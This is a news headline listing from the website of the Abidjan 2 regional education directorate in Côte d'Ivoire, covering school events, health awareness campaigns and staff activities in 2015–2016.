ASSEMBLEE GENERALE ELECTIVE DE LA CAISSE DE SOLIDARITE AGISSANTE DE LA DREN : LES MUTUALISTES SATISFAITS DE LA GESTION DU BUREAU SORTANT  -  14/01/2016 à 13:59:15
REMISE DU PRIX DU CONCOURS « OPERATION BALAIE DEVANT TA PORTE » : LE COLLEGE VOLTAIRE DE MARCORY, GRAND VAINQUEUR  -  14/01/2016 à 13:18:33
CONFERENCE «ZERO GROSSESSE = ZERO RELATION SEXUELLE A LA DRENET A2»  -  04/01/2016 à 11:01:43
TOURNOI INTER-DRENET : GRANDE FETE SPORTIVE DES AGENTS DES DRENET  -  17/12/2015 à 13:32:59
CIRCONSCRIPTION DE TREICHVILLE : LANCEMENT OFFICIEL DE LA DISTRIBUTION DE KITS ALIMENTAIRES  -  17/12/2015 à 13:29:51
CIRCONSCRIPTION DE TREICHVILLE : LANCEMENT OFFICIEL DE LA DISTRIBUTION DE KITS ALIMENTAIRES  -  17/12/2015 à 13:29:48
ATELIER SUR L’EDUCATION FINANCIERE : RESPONSABLES DE STRUCTURES ET AGENTS DE LA DRENET S’IMPREGNENT DE LA GESTION FINANCIERE  -  30/11/2015 à 13:16:56
DRENET ABIDJAN 2 : MADAME COULIBALY FANTA (DRENET) SUR TOUS LES FRONTS  -  30/11/2015 à 12:56:19
LANCEMENT DU CONCOURS « ZERO GROSSESSE = ZERO RELATION SEXUELLE » A LA DRENET A2  -  30/11/2015 à 10:08:31
LANCEMENT DE LA CAMPAGNE DE PREVENTION DES GROSSESSES NON DESIREES ET DU VIH/SIDA CHEZ LES JEUNES DE 15 A 24 ANS A LA DRENET A2 PAR L’AGENCE IVOIRIENNE DE MARKETING SOCIAL  -  30/11/2015 à 09:56:50
LANCEMENT DES ACTIVITES DE LUTTE CONTRE LE VIH/SIDA ET LES GROSSESSES EN MILIEU SCOLAIRE A LA DRENET A2  -  30/11/2015 à 09:26:32
REUNION DE RENTREE A LA DRENET : FELICITATIONS RECUES PAR LES AGENTS POUR TRAVAIL BIEN ACCOMPLI  -  16/11/2015 à 13:44:11
DRENET ABIDJAN 2 : SORTIE DETENTE SUR LA BAIE DES MILLIARDAIRES (Carnet de voyage)  -  12/11/2015 à 11:56:28
GRANDE SORTIE DETENTE DES AGENTS DE LA DRENET SUR LA BAIE DES MILLIARDAIRES  -  12/11/2015 à 11:50:04
DEPISTAGE DU CANCER DU COL DE L’UTERUS ET INITIATION A LA PALPATION DU SEIN A LA DRENET ABIDAJAN 2  -  11/11/2015 à 15:07:41
REUNION DE RENTREE A LA DRENET : REMOBILISATION DE TOUS LES ACTEURS POUR UNE ECOLE DE QUALITE  -  26/10/2015 à 11:16:28
HOMMAGE RENDU A L’ILLUSTRE ECRIVAIN AMADOU KOUROUMA, AU LYCEE MUNICIPAL DE MARCORY.  -  26/10/2015 à 10:30:42
JOURNEE DE LA PERSEVERANCE SCOLAIRE:REUSSITE TOTALE DE LA FETE HONORANT LES MEILLEURS ELEVES DE TREICHVILLE  -  21/10/2015 à 20:30:27
RENTREE SCOLAIRE 2015-2016 : RENTREE REUSSIE DANS LA DRENET ABIDJAN 2  -  21/10/2015 à 13:44:41
ZERO GROSSESSE = ZERO RELATION SEXUELLE EN MILIEU SCOLAIRE  -  21/10/2015 à 13:34:27
ZERO GROSSESSE = ZERO RELATION SEXUELLE EN MILIEU SCOLAIRE  -  21/10/2015 à 13:33:54
FORMATION DES ANIMATEURS A L’EXPLOITATION DES SKETCHS DANS LE CADRE DE LA CAMPAGNE JEUNE, A LA DRENET A2  -  21/10/2015 à 13:22:48
ORGANISATION DES EXAMENS BLANCS A LA DRENET ABIDJAN 2  -  21/10/2015 à 13:20:46
TOURNEE D’INFORMATION ET DE SENSIBILISATION DE LA MUGEF-CI A LA DRENET A2  -  21/10/2015 à 13:18:51
TOURNEE D’INFORMATION ET DE SENSIBILISATION DE LA MUGEF-CI A LA DRENET A2  -  21/10/2015 à 13:17:57
REMISE OFFICIELLE DE LA SALLE DES PROFESSEURS AU LYCEE MODERNE DE TREICHVILLE  -  21/10/2015 à 13:15:10
TEST DE VALIDATION DU MASQUE DE SAISIE – CAMPAGNE STATISTIQUE 2015 A LA DRENET A2  -  21/10/2015 à 13:10:39
CELEBRATION DES ELEVES LES PLUS MERITANTS A TREICHVILLE  -  21/10/2015 à 13:05:55
RENTREE SCOLAIRE AU COLLEGE MODERNE DU PORT  -  21/10/2015 à 13:03:27
SEMINAIRE DE FORMATION DANS LA CIRCONSCRIPTION PRIMAIRE DE TREICHVILLE  -  21/10/2015 à 13:01:01
•CEREMONIE DE REMISE D’UN FORAGE AU LYCEE MUNICIPAL DE PORT-BOUET  -  21/10/2015 à 12:58:34
•RENCONTRE D’ECHANGES ENTRE L’INSPECTION GENERALE ET LES ACTEURS DE LA DRENET A2  -  21/10/2015 à 12:56:08
• JOURNEE NATIONALE DE LA SALUBRITE EN MILIEU SCOLAIRE  -  21/10/2015 à 12:52:38
SALON DU LIVRE 2013  -  21/10/2015 à 12:36:39
4ème Assises de la jeunesse : Microsoft, le PNUD et l'UNESCO s'engagent pour les jeunes  -  23/03/2015 à 10:37:38
Fonction publique : Près de 2000 nouveaux fonctionnaires recrutés - La masse salariale augmente de 10 milliards de FCfa  -  23/03/2015 à 10:23:22
Africa CEO Forum 2015 - Investissements : Deux banques veulent s'installer à Abidjan et ouvrir une usine pharmaceutique  -  23/03/2015 à 10:10:34
 
 
Accueil | Présentation | Etablissements | Formations | Contacts
Copyright © 2012-2014   Direction Régionale de l'Education Nationale (DREN) Abidjan 2
Tel : 20 32 87 20 - Fax : 20 32 87 24
Site web : www.drenetabidjan2.com - Email : info@drenetabidjan2.com